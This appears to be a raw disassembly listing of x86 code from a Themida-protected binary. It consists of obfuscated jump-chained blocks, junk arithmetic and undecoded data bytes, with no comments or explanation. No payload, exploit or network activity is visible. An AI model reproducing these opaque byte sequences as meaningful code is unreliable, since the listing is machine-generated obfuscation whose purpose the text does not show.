; ---------------------------------------------------------------------------
		db 54h,	8Bh, 4
		dd 4C48324h, 4BB53h, 282D0000h,	0E9376235h, 0FFFF9DF0h
; ---------------------------------------------------------------------------


loc_56B7DC:				; CODE XREF: Themida_:005614A6j
		add	ecx, ebx
		pop	ebx
		add	dword ptr [esp+4], 22D17211h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 22D17211h
		push	dword ptr [esp]
		jmp	loc_56B4E7
; ---------------------------------------------------------------------------
		db 54h
		dd 0FFA346E9h, 0C8B5AFFh, 4C48124h, 49000000h, 2A30E952h
		dd 0EC83FFFFh, 243C8904h, 14C568h, 0A1AE900h, 489FFFFh
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 24048F54h
		dd 0D0CE9h, 0FFE98300h,	5605E9C1h, 0A45D6868h, 51465E57h
		dd 0A73CA8B9h, 0E952556Fh, 1F90h
; ---------------------------------------------------------------------------


loc_56B85C:				; CODE XREF: Themida_:00564E76j
		push	esi
		jmp	loc_561F6F
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0E1C102E9h, 0E9814107h, 48BC6D8Bh, 0FFB936E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B875:				; CODE XREF: Themida_:0056F558j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	al, bl
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_563DD9
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0CDh
		dd 16BE471h, 0A2E95AD1h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B8A3:				; CODE XREF: Themida_:0056A596j
		mov	ah, dl
		jmp	loc_560A15
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 5C241C33h, 0FFBABDE9h, 0C38159FFh, 250577E4h
		dd 70E9EB01h, 5CFFFF95h, 83242489h, 59042404h, 0FF5B90E9h
		dd 5E2068FFh, 14890000h, 50D4B224h, 0FFC707E9h,	0E9D7B7FFh
		dd 0FFFF8CCFh, 240C8B66h, 7F2368h, 241C8900h, 184E68h
		dd 4EC8300h, 0E9242489h, 0FFFFCF14h, 8A4795BDh,	0CEE95765h
		dd 0B8FFFF77h, 170F4FDAh, 0F0B02A05h, 2EEB81E8h, 1471F14h
		dd 2EC381C3h, 58471F14h, 0FF6571E9h, 0FC1FE9FFh, 92BBFFFEh
		dd 0B93BB16Fh, 2D21F95Bh, 1435C181h, 0D9014EACh, 1435E981h
		dd 0C0E94EACh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B953:				; CODE XREF: Themida_:00568FE1j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56C8D4
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 8956242Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 2404895Ch
		dd 0FF87B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B97D:				; CODE XREF: Themida_:0056EA6Aj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	esi
		jmp	loc_56EAB5
; ---------------------------------------------------------------------------
		db 1, 0D5h, 5Ah
		dd 34B95150h, 8903A627h, 96E959C8h, 0B9FFFF1Bh,	4, 0FFD831E9h
		dd 39F781FFh, 811F7B0Fh, 0F62F8E7h, 0F781474Ah,	6C980023h
		dd 0D1E9FD01h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B9D3:				; CODE XREF: Themida_:0056ABCAj
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 0FFFFFFFFh
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_562F31
; ---------------------------------------------------------------------------
		dd 0F3BA5255h, 816AF52Ch, 4ECh,	243C8900h, 651FF6BFh, 93BEBD1Dh
		dd 0B951558Fh, 73BE7752h, 0FFC2BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BA15:				; CODE XREF: Themida_:0055DD5Cj
		push	ebx
		jmp	loc_5699D9
; ---------------------------------------------------------------------------
		db 51h
		dd 5362E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA22:				; CODE XREF: Themida_:0055C1C1j
		mov	[esp], edx
		push	2670h
		jmp	loc_56C6C2
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 0FFFFC555h, 8904EC83h,	0BBE92414h
		dd 0BBFFFF94h, 780037D7h, 0E3814B43h, 4C6C35C8h, 693AE381h
		dd 0EB81180Fh, 8AD0E2Dh, 5B11F381h, 0FAE9A238h,	0FFFFFFD2h
		dd 34FF2434h, 3093E924h, 51460000h, 590061B9h, 59CE0145h
		dd 34FFF231h, 0FA3DE924h, 34FFFFFFh, 89505824h,	4BF57E0h
		dd 1000000h, 0E8835FF8h, 24048704h, 2414895Ch, 17A5E9h
		dd 0CDC38100h, 68ADA273h, 49DBh, 5F241C89h, 6A2E9h, 8EC68100h
		dd 894E2551h, 0E9515EF1h, 0FFFF02DDh
; ---------------------------------------------------------------------------


loc_56BACC:				; CODE XREF: Themida_:0055D6F4j
		mov	eax, 0
		sub	eax, ebp
		xchg	eax, ebp
		mov	eax, [esp]
		add	esp, 4
		not	ebp
		dec	ebp
		not	ebp
		add	ebp, 0A736F785h
		add	esi, ebp
		pop	ebp
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_562E20
; ---------------------------------------------------------------------------
		dw 7468h
		dd 89000025h, 0E9552404h, 0FFFFCC2Bh, 405h, 40500h, 4870000h
		dd 34875C24h, 24248B24h, 0FFF46FE9h, 0E9F909FFh, 0FFFF2DDCh
		dd 4C481h, 0EC810000h, 4, 83240C89h, 148904ECh,	4BA24h
		dd 7B680000h, 89000064h, 0D589242Ch, 1CE9E989h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BB4B:				; CODE XREF: Themida_:00563577j
		push	4
		pop	edi
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55F5D6
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 55E95024h, 89FFFF99h, 74FF240Ch, 0B3E90424h,	83FFFF46h
		dd 3C3304EFh, 243C3124h, 5C243C33h, 0E9240489h,	0FFFEFBC3h
		dd 0F5E9CB31h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB93:				; CODE XREF: Themida_:0056CC00j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_560080
; ---------------------------------------------------------------------------
		dd 0F7240C87h, 0BD44E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BBB2:				; CODE XREF: Themida_:0056BFABj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5660DC
; ---------------------------------------------------------------------------
		dd 1975B1BAh, 0FFD3291Ah, 835A2434h, 0EB8104C4h, 3347C39h
		dd 0FFD4E3E9h, 240481FFh, 4, 4202E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BBFE:				; CODE XREF: Themida_:0056C207j
		push	edi
		mov	edi, 24C47E06h
		add	edi, 76396544h
		add	edi, 65021CBAh
		add	esi, edi
		pop	edi
		jmp	loc_561FEF
; ---------------------------------------------------------------------------


loc_56BC18:				; CODE XREF: Themida_:0056086Dj
		add	eax, 7180A06h
		add	ecx, 306044CFh
		add	ecx, eax
		jmp	loc_56EE9F
; ---------------------------------------------------------------------------


loc_56BC2A:				; CODE XREF: Themida_:0056F0BCj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55C9D3
; ---------------------------------------------------------------------------
		dd 240C8B66h, 75DA68h, 7803E900h, 0C281FFFFh, 27945F60h
		dd 34F6B951h, 0C9813557h, 2FB7619Bh, 7225F181h,	0C18132D5h
		dd 1EC06403h, 0FFA5B6E9h, 240C8BFFh, 4C481h, 0C1810000h
		dd 4, 4836E9h, 1BE5600h, 0E9434349h, 0FFFFC5B5h, 4C2815Ah
		dd 83000000h, 666802C2h, 89000021h, 74FF2414h, 148B0424h
		dd 38CE924h, 0C1810000h, 406E75D6h, 2F24C981h, 0C1816B11h
		dd 2F4C79E3h, 22E9C801h, 1FFFF7Dh, 4EC83C8h, 0E9241489h
		dd 0FFFF91CAh, 0ADEAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCD2:				; CODE XREF: Themida_:0055D3F4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	6B87h
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 5CFF4510h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_56A143
; ---------------------------------------------------------------------------
		dd 595BDD89h, 4246C31h,	2434FF5Dh, 56241C8Bh, 0E904EC83h
		dd 0FFFFC6DBh, 0DA87D329h, 0FFBC30E9h, 40558FFh, 81000000h
		dd 4ECh, 8E57E900h, 0F668FFFFh,	89000065h, 0E0892404h
		dd 0FFFDAFE9h, 24048FFFh, 24048F5Ch, 0FE24248Bh, 0E99C2404h
		dd 0FFFEF7F1h, 0E9241433h, 0FFFF297Bh
; ---------------------------------------------------------------------------


loc_56BD6C:				; CODE XREF: Themida_:00568CDFj
		xor	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_55CD7B
; ---------------------------------------------------------------------------


loc_56BD8E:				; CODE XREF: Themida_:00560294j
		mov	edx, ecx
		pop	ecx
		pop	edi
		add	edx, 428C63B8h
		add	edx, 300B6633h
		add	edx, eax
		sub	edx, 300B6633h
		push	ebx
		mov	ebx, 67AB0B75h
		jmp	loc_565E04
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 5404EC83h, 0E924048Fh, 0FFFF122Dh
; ---------------------------------------------------------------------------


loc_56BDC0:				; CODE XREF: Themida_:0055DD0Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_565A54
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 7Ch
		dd 319BD442h, 0EB895FFDh, 0E9DE315Dh, 28E0h
; ---------------------------------------------------------------------------


loc_56BDE0:				; CODE XREF: Themida_:0056A506j
		mov	[esp], esi
		push	6837h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	[edi+24h], edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_56ABFF
; ---------------------------------------------------------------------------


loc_56BE1D:				; CODE XREF: Themida_:005603FBj
		neg	ebp
		add	ebp, 7DC541B9h
		push	edi
		mov	edi, 33E203F0h
		jmp	loc_5687D5
; ---------------------------------------------------------------------------
		dd 8704C383h, 525C241Ch, 468h, 7377E900h, 6B2DFFFFh, 2965A540h
		dd 7BA4E9D8h, 0C481FFFFh, 4, 0FFC79DE9h, 243489FFh, 0A200BEBEh
		dd 0C2BF571Ch, 47520915h, 40B8C781h, 0FE311157h, 0FFD48CE9h
		dd 61E95CFFh
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BE7B:				; CODE XREF: Themida_:0056F953j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55F509
; ---------------------------------------------------------------------------


loc_56BE95:				; CODE XREF: Themida_:0055BD38j
		pop	esp
		mov	[esp], ecx
		mov	ch, 5
		add	ch, 52h
		add	ch, 3Eh
		add	ch, 0AEh
		dec	ch
		jmp	loc_561CC1
; ---------------------------------------------------------------------------
		db 81h
		dd 3404246Ch, 8176EC36h, 5F04246Ch, 11E3F75h, 8104246Ch
		dd 5F042444h, 0E91E3F75h, 0FFFF2B9Eh, 0F708EDC1h, 0AAED81D5h
		dd 81BEB265h, 9921FFC6h, 81EE010Fh, 9921FFEEh, 242C8B0Fh
		dd 4C481h, 0BF570000h, 4C764E95h, 0FFB0CAE9h, 4BF57FFh
		dd 1000000h, 1C335FFBh,	241C3124h, 2AC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BF0D:				; CODE XREF: Themida_:0055E1EFj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 25D7372Bh
		not	ecx
		and	ecx, 4336130Eh
		xor	ecx, 42200000h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		push	1157h
		jmp	loc_5629F7
; ---------------------------------------------------------------------------
		db 0F7h, 0E1h, 0E9h
		dd 0FFFFBBD7h, 58E6305Bh, 525BEE80h, 0C281E289h, 4, 0FF7AC4E9h
		dd 0E9D059FFh, 0E967C180h, 569h
; ---------------------------------------------------------------------------


loc_56BF80:				; CODE XREF: Themida_:00561D50j
		mov	ebp, [esp]
		jmp	loc_56D83A
; ---------------------------------------------------------------------------


loc_56BF88:				; CODE XREF: Themida_:005684C6j
		sub	edx, 69DA4526h
		neg	edx
		xor	edx, 5F041A20h
		sub	edx, 45AD3F09h
		jmp	loc_55DD59
; ---------------------------------------------------------------------------


loc_56BFA1:				; CODE XREF: Themida_:0056AA63j
		push	ebp
		jmp	loc_565C92
; ---------------------------------------------------------------------------


loc_56BFA7:				; CODE XREF: Themida_:00569F67j
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_56BBB2
; ---------------------------------------------------------------------------
		dd 0FE07E0C0h, 81E04C8h, 24048BC1h, 4C481h, 0FF680000h
		dd 89000011h, 0B8B3241Ch, 0FF0441E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BFD1:				; CODE XREF: Themida_:00561FB9j
		or	ebx, 2E20318Eh
		neg	ebx
		neg	ebx
		sub	ebx, 3EF179DAh
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		jmp	loc_565B9B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E77EE959h, 3489FFFFh, 46824h, 895E0000h, 41A6E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C012:				; CODE XREF: Themida_:0056932Dj
		mov	eax, 330826CAh
		or	eax, 2251797Bh
		dec	eax
		not	eax
		jmp	loc_56435C
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 6678E924h, 5451FFFFh, 92BB5359h
		dd 0C14EBF5Ah, 0EBC102E3h, 2272E903h, 0D8280000h, 0FFA149E9h
		dd 0C6814EFFh, 820BDF8Dh, 348BF031h, 0BE28E924h, 0B850FFFFh
		dd 97C41ABh, 2958C129h,	0D88959CBh, 0A805E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C072:				; CODE XREF: Themida_:00564298j
		mov	esi, [esp]
		jmp	loc_563A6F
; ---------------------------------------------------------------------------
		dw 0B5Fh
		dd 0F9840FC0h, 0FFFFFFFCh, 34FF1C77h, 0EC835924h, 243C8904h
		dd 15A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C095:				; CODE XREF: Themida_:0055ECEFj
		add	ebx, ecx
		add	ebx, 228B4663h
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_55EA34
; ---------------------------------------------------------------------------
		dw 56B9h
		dd 3117CD42h, 555759CFh, 4E2919BDh, 246C3112h, 6AE95D04h
		dd 8FFFFFE5h, 4812404h,	424h, 0C6815E00h, 4, 4EE81h, 89500000h
		dd 405E0h, 0E8830000h, 24048704h, 2434895Ch, 0FF80E3E9h
		dd 0EB815DFFh, 0FBB50DD6h, 5DE9D829h, 66FFFF60h, 4CE99C51h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C117:				; CODE XREF: Themida_:0056DB02j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_564603
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8CBD5524h, 0BB53BE14h, 186E11B6h, 26E9EB01h,	81FFFF98h
		dd 2592242Ch, 815F7B24h, 242592C7h, 3D15E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C14A:				; CODE XREF: Themida_:0056D835j
		mov	esi, [esp]
		push	eax
		jmp	loc_56EF58
; ---------------------------------------------------------------------------


loc_56C153:				; CODE XREF: Themida_:0056916Cj
		add	ebp, 4
		push	edi
		jmp	loc_56DDAE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 14F75704h, 0B8505F24h, 7CC8267Ah, 2691E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C175:				; CODE XREF: Themida_:0056B5D1j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_56CA22
; ---------------------------------------------------------------------------
aShF		db 'Sh)F',0
		dw 8900h
		dd 24B62414h, 5331EE80h, 0E38008B3h, 7DEB801Ch,	0FF8C3EE9h
		dd 0DB04FFh, 0E9DB2CD0h, 0FFFF21F6h
; ---------------------------------------------------------------------------


loc_56C1AC:				; CODE XREF: Themida_:005673E8j
		add	esp, 4
		jmp	loc_55E7CE
; ---------------------------------------------------------------------------
		dd offset dword_457444+15C24h
		dd 242C8900h, 8904EC83h, 0EEBE2434h, 816FB74Dh,	0C804246Ch
		dd 29158F6Bh, 81042474h, 0C8042444h, 5E158F6Bh,	0EEC2815Ah
		dd 8B6FB74Dh, 47E9242Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C1EB:				; CODE XREF: Themida_:00563C10j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	6C80h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56BBFE
; ---------------------------------------------------------------------------
		dd 5358C601h, 2BBh, 8BDE0100h, 8953241Ch, 4C381E3h, 0E9000000h
		dd 27C3h, 0E904C483h, 452Eh, 0E904C183h, 0FFFF425Dh, 31B8505Dh
		dd 213B427Bh, 0F68158C6h, 4419172Bh, 33A0B951h,	0CE217278h
		dd 1CEE8159h, 81525822h, 4ECh, 24348900h, 0FA6CA3BEh, 8BF72974h
		dd 0C4812434h, 4, 0C781F729h, 74FA6CA3h, 74FF575Eh, 8F5F0424h
		dd 248B2404h, 4EC8124h,	89000000h, 4E92404h, 58FFFFE6h
		dd 0A0E94B43h, 5AFFFF73h, 369F502Dh, 58C5298Fh,	465DEE31h
		dd 0FFFFBD55h, 0EE81FFFFh, 1B8759F5h, 0C681EE29h, 1B8759F5h
		dd 441AE95Dh, 0C781FFFFh, 4, 4EC81h, 4890000h, 3B02B824h
		dd 0C6E948A2h, 29FFFF2Eh, 0BBEB81C3h, 0E9422E66h, 0FFFFE059h
		dd 0C281E289h, 4, 3304EA83h, 14312414h,	0ABF1E924h, 315BFFFFh
		dd 0D98958C3h, 56241C8Bh, 0C681E689h, 4, 0FF58C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C315:				; CODE XREF: Themida_:0055D213j
		add	esi, ecx
		push	ebp
		mov	ebp, 490754E7h
		add	esi, ebp
		jmp	loc_5659E2
; ---------------------------------------------------------------------------
		dd 1DFC6852h, 148B282Ch, 4C48324h, 639E68h, 24348900h
		dd 0C32D3ABEh, 83FE875Ch, 0FE8701EFh, 0EE83D6F7h, 14CE8101h
		dd 814C1E49h, 0CC7112F6h, 8BF22944h, 0C4832434h, 8BD33104h
		dd 0AF682414h, 89000016h, 0E2892414h, 4C281h, 0C2810000h
		dd 4, 31241433h, 14332414h, 78685C24h, 89000005h, 5DB82404h
		dd 0F712AD34h, 7E0C1D8h, 51EDBA52h, 0D00125D9h,	1ECC255Ah
		dd 0BF575909h, 65970686h, 59E5BA52h, 0E1E94517h, 68FFFFC3h
		dd 7095h, 55242489h, 4BDh, 246C8100h, 5B342204h, 246C0120h
		dd 4EC8104h, 89000000h,	68532434h, 171770A8h, 0CBE9555Bh
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3E3:				; CODE XREF: Themida_:005648C0j
		pop	ebp
		jmp	loc_561CA7
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF07FFE9h, 48F58FFh, 0C3315C24h, 56E930FFh
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56C3FF:				; CODE XREF: Themida_:0055DB59j
		add	ecx, 3AE052F4h
		sub	ecx, edx
		sub	ecx, 3AE052F4h
		pop	edx
		push	2E15h
		mov	[esp], ebx
		mov	ebx, 5C2C4E9Ah
		sub	ebx, 986D6C96h
		xor	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, ecx
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56F9E1
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5
		dd 73C919E8h, 1C094E2Dh, 18BF5763h, 0C1693F36h,	0EC8106E7h
		dd 4, 0F7243C89h, 3C8B2414h, 4C48324h, 1EA8EF81h, 0F5E94067h
		dd 0F7FFFF05h, 0D9EE81DEh, 29C6C9C4h, 24348BF2h, 0FFAC86E9h
		dd 4C481FFh, 8F000000h,	685C2404h, 2C81h, 68241C89h, 7FE9h
		dd 53242C89h, 9202E8BBh, 63E38149h, 56018E4Eh, 0E1155FBEh
		dd 0F5C6816Ah, 5257EB36h, 40547CBAh, 0C6EA8163h, 0F7422F1Fh
		dd 0F9E281D2h, 816E7B28h, 4DFE90EAh, 0E9D6212Bh, 0FFFFD65Ch
		dd 405h, 4C08300h, 5C240487h, 0FF7A17E9h, 0E9D9F6FFh, 0FFFF676Dh
; ---------------------------------------------------------------------------


loc_56C4F0:				; CODE XREF: Themida_:0056C503j
		pop	ebx
		mov	esi, edi
		push	dword ptr [esp]
		jmp	loc_564D7D
; ---------------------------------------------------------------------------


loc_56C4FB:				; CODE XREF: Themida_:00563E27j
		add	ebx, 0A9B7C835h
		xor	edi, ebx
		jmp	loc_56C4F0
; ---------------------------------------------------------------------------
		dd 0B0B2E953h, 3C87FFFFh, 0D264E924h, 1C8BFFFFh, 4C48324h
		dd 4C1868h, 7D07E900h, 0E8C1FFFFh, 0DA440502h, 0C3891054h
		dd 0E9D82958h, 0FFFF8198h, 99EBC781h, 0F8212427h, 68E9525Fh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C547:				; CODE XREF: Themida_:005636AAj
		push	eax
		jmp	loc_568E63
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 1
		dd 81661975h, 197505F1h, 24448166h, 3C0AED04h, 244C0177h
		dd 246C8104h, 3C0AED04h, 48B5977h, 4C48124h, 5000000h
		dd 4, 0FF1B5AE9h, 5E1C1FFh, 0AD0FE941h,	248BFFFFh, 66E9F624h
		dd 0E9CCB60Fh, 0FFFFACC9h, 83D831ADh, 1C8904ECh, 8BB95124h
		dd 490FB903h, 219FE181h, 0E9C16518h, 20F18104h,	6851E465h
		dd 7183h, 0BB241C89h, 30D70C46h, 535BD931h, 3A6EB8BBh
		dd 2E3C160h, 0EC81D3F7h, 4, 0BA241489h,	5F84F3Ah, 0E907E2C1h
		dd 0FFFFF166h, 2434FF54h, 0FF332EE9h, 4C183FFh,	2474FF51h
		dd 48F5904h, 0C369E924h, 0E9C1FFFFh, 4BBE5606h,	0F73C6F2Ch
		dd 26C681D6h, 8163B93Ah, 3131C3CEh, 0B3EE8103h,	10F9544h
		dd 0D9E95EF1h, 49FFFF82h, 1DA6BD55h, 0E9E96B8Fh, 29FFFF6Dh
		dd 242C8BE9h, 4C481h, 2BE90000h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C643:				; CODE XREF: Themida_:0056D7D1j
		pop	ecx
		sub	esi, eax
		pop	eax
		jmp	loc_566E3C
; ---------------------------------------------------------------------------


loc_56C64C:				; CODE XREF: Themida_:00561A67j
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0D4h
		sub	dh, 9Ah
		jmp	loc_56D0A7
; ---------------------------------------------------------------------------


loc_56C65F:				; CODE XREF: Themida_:0055F45Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 74B85F90h
		jmp	loc_56F07D
; ---------------------------------------------------------------------------
		dw 9AB8h
		dd 21487C07h, 0CF8758C7h, 0FF3882E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C681:				; CODE XREF: Themida_:0056F233j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56AF5D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 5Ch
		dd 8B096507h, 0C481241Ch, 4, 2BE56h, 0B9E90000h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C6AF:				; CODE XREF: Themida_:0056333Fj
		push	eax
		mov	eax, 0E8D9C2E2h
		sub	edx, 1D924EDBh
		add	edx, eax
		jmp	loc_562D9F
; ---------------------------------------------------------------------------


loc_56C6C2:				; CODE XREF: Themida_:0056BA2Aj
		mov	[esp], ebx
		push	ecx
		push	16C1h
		mov	[esp], edi
		mov	edi, 71090D58h
		mov	ecx, edi
		jmp	loc_56FD63
; ---------------------------------------------------------------------------
		dw 0F82Dh
		dd 0E921D214h, 3815h, 448B685Dh, 34890000h, 0D5BA5224h
		dd 0BE77C30Ah, 119A0A09h, 815AD631h, 0FC1583EEh, 0AEED8196h
		dd 15AC04Fh, 0AEB850F5h, 0E95AC04Fh, 0FFFF420Fh
; ---------------------------------------------------------------------------


loc_56C714:				; CODE XREF: Themida_:0056DFE6j
		push	edi
		mov	edi, 24h
		mov	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 30C86E6Dh
		sub	ecx, 1F283619h
		add	ebx, 7AA02C6Eh
		add	ebx, ecx
		jmp	loc_56411B
; ---------------------------------------------------------------------------
		dw 5359h
		dd 0FFBABDE9h, 247401FFh, 0AEE95504h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C747:				; CODE XREF: Themida_:005601FCj
		mov	bh, 30h
		jmp	loc_5693A5
; ---------------------------------------------------------------------------
aHm0		db '^^hM0',0
		dd 241C8900h, 691A8B68h, 0B0E95B1Ah
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C763:				; CODE XREF: Themida_:0056A05Fj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_56C77F:				; CODE XREF: Themida_:0056D84Cj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_565986
; ---------------------------------------------------------------------------


loc_56C78B:				; CODE XREF: Themida_:00564351j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_564F97
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0B16292BBh, 7A090534h, 0D82964B9h, 0B97A092Dh, 3F00E964h
		dd 8F58FFFFh, 62E92404h, 80FFFF1Ah, 685056C9h, 692Dh, 0B6241489h
		dd 0FFF0883Ah, 148B2434h, 4C48324h, 2C04C483h, 58C1288Ah
		dd 0FFC253E9h, 0F18141FFh, 79824A9Bh, 0C8BC829h, 7AE95524h
		dd 0F6FFFFC9h, 19E92414h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7FF:				; CODE XREF: Themida_:0055B787j
		push	edi
		mov	edi, 161E001Eh
		jmp	loc_563E32
; ---------------------------------------------------------------------------


loc_56C80A:				; CODE XREF: Themida_:005665BCj
		push	edx
		jmp	loc_55F517
; ---------------------------------------------------------------------------


loc_56C810:				; CODE XREF: Themida_:005664A3j
		mov	esp, [esp]
		push	edx
		jmp	loc_560C97
; ---------------------------------------------------------------------------
		db 50h,	54h, 0E9h
		dd 0FFFFB508h
; ---------------------------------------------------------------------------


loc_56C820:				; CODE XREF: Themida_:0056E255j
		push	dword ptr [esp]
		jmp	loc_562A65
; ---------------------------------------------------------------------------


loc_56C828:				; CODE XREF: Themida_:0055ECCFj
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_56CEE9
; ---------------------------------------------------------------------------
		db 59h
		dd 5C243C87h, 0FF4B78E9h
		db 0FFh
; ---------------------------------------------------------------------------


